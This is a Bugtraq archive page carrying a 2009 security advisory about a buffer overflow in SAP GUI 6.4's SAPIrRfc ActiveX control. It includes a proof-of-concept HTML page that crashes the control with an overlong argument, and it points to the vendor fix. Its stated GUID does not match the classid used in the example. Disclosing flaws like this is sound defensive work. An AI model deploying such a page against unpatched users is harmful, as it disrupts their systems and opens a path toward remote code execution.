Home page logo
/

bugtraq logo Bugtraq mailing list archives

[DSECRG-09-015] SAP GUI 6.4 Buffer Overflow vulnerability
From: Alexandr Polyakov <alexandr.polyakov () dsec ru>
Date: Mon, 8 Jun 2009 17:59:45 +0400

Digital Security Research Group [DSecRG] Advisory      #DSECRG-09-015

Original Advisory:   http://dsecrg.com/pages/vul/show.php?id=115


Application:                    SAP GUI for Windows,  EnjoySAP
Versions Affected:              Version 6.4 
Vendor URL:                     http://SAP.com
Bugs:                           Buffer Overflow
Exploits:                       YES
Reported:                       13.11.2008
Vendor response:                17.11.2008
Date of Public Advisory:        08.06.2009
CVE-number:                     
Author:                         Alexander Polyakov
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc  which is vulnerable to Buffer overflow attack.    

file = sapirrfc.dll
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702


Details
*******

Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long 
parameter.
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 
execute calc.exe aviable by request) .



Example1:
*********


<html>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>

arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

target.Accept arg1 

</script>
</html>



Fix Information
***************
The issue has been solved. See SAP note 1286637.



References:
***********
SAP note 1286637

https://service.sap.com/sap/support/notes/1286637
http://dsecrg.com/pages/vul/show.php?id=115




About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit 
and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and 
PCI DSS standards. Digital Security Research Group focuses on application and database security problems with 
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com










Regards, Alexander Polyakov
Digital Security Research Group [DSecRG]
________________________________________
DIGITAL SECURITY
tel/fax: +7(812)703-1547
tel:     +7(812)430-9130
e-mail:  research () dsecrg com
web:     www.dsecrg.com
----------------------------------------
This message and any attachment are confidential and may be privileged 
or otherwise protected from disclosure. If you are not the intended 
recipient any use, distribution, copying or disclosure is strictly 
prohibited. If you have received this message in error, please notify 
the sender immediately either by telephone or by e-mail and delete this 
message and any attachment from your system. Correspondence via e-mail 
is for information purposes only. Digital Security neither makes nor 
accepts legally binding statements by e-mail unless otherwise agreed. 
----------------------------------------


  By Date           By Thread  

Current thread:
  • [DSECRG-09-015] SAP GUI 6.4 Buffer Overflow vulnerability Alexandr Polyakov (Jun 08)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault